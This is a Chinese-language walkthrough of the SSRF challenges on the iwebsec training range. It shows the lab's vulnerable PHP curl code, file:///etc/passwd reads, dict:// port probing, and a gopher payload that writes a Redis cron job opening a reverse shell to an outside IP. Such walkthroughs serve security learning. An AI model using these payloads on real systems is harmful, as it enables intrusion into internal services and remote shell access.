iwebsec靶场(SSRF)
一、可能引起SSRF漏洞的PHP函数
函数 | 作用 |
---|---|
curl_exec() | 执行curl会话 |
file_get_contents() | 将整个文件读入一个字符串 |
fsockopen() | 打开一个网络连接或者一个Unix套接字连接 |
二、CURL其他协议
协议 | 作用 | payload |
---|---|---|
file | 查看文件 | curl -v ‘file:///etc/passwd’ |
dict | 探测端口 | http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306 |
gopher | 反弹shell | curl -v ‘gopher://127.0.0.1:6379/_3%0d%0a$3%0d%0aset%0d%0a$1%0d% 0a1%0d%0a$57%0d%0a%0a%0a%0a/1 * * * * bash -i >& /dev/tcp/192.168.142.135/4444 0>&1%0a%0a%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3% 0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron /%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a $10%0d%0adbfilename%0d%0a 4 4%0d%0aroot%0d%0a*1%0d%0a 4 4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a’ |
- dict协议:用于搭建在线字典服务
- gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代
三、漏洞介绍
- 服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞
- 危害:
- 扫描资产
- 获取敏感信息
- 攻击内网服务器(绕过防火墙)
- 访问大文件,造成溢出
- 通过Redis写入WebShell或建立反弹连接
- 漏洞常见场景
- 社会化分享功能
- 转码服务
- 在线翻译
- 图片加载、下载功能
- 图片、文章收藏功能
- 网站采集、网站抓取
- 实际案例
- Wordpress 3.5.1以下版本 xmlrpc.phppingback的缺陷与SSFR
- discuz!的SSRF(利用php的header函数来绕过,其实就是302跳转实现协议转换)
- weblogic的SSRF
四、靶场地址:http://iwebsec.com/
五、SSRF服务端请求伪造
1.查看源码
<?php require_once '../header.php'; ?>
<html>
<head>
<title>SSRF服务端请求伪造</title>
</head>
<h2>SSRF服务端请求伪造</h2>
<div class="alert alert-success">
<p>/index.php?url=http://127.0.0.1/vuln/ssrf/1.txt </p>
</div>
<body>
<table class='table table-striped'>
<?php
if (isset($_GET['url'])) {
$link = $_GET['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>
</table>
PHP中的fopen函数用于打开一个文件或URL;fclose () 函数关闭该指针指向的文
curl_setopt函数的作用是为一个CURL会话设置选项
curl_exec函数是PHP cURL函数列表中的一种,它的功能是执行一个cURL会话
2.访问系统文件
-
查看网站自带的1.txt
/ssrf/index.php?url=http://127.0.0.1/ssrf/1.txt
-
查看passwd文件
/ssrf/index.php?url=file:///etc/passwd
六、SSRF内网探测漏洞
-
利用SSRF端口探测方法,如果访问3306端口返回数据库信息,就说明开启了3306端口。反之如果无数据返回或者延迟较大,说明该端口未开放。
/ssrf/index.php?url=dict://127.0.0.1:3306
七、SSRF内网应用攻击
-
访问内网http服务
/ssrf/index.php?url=http://127.0.0.1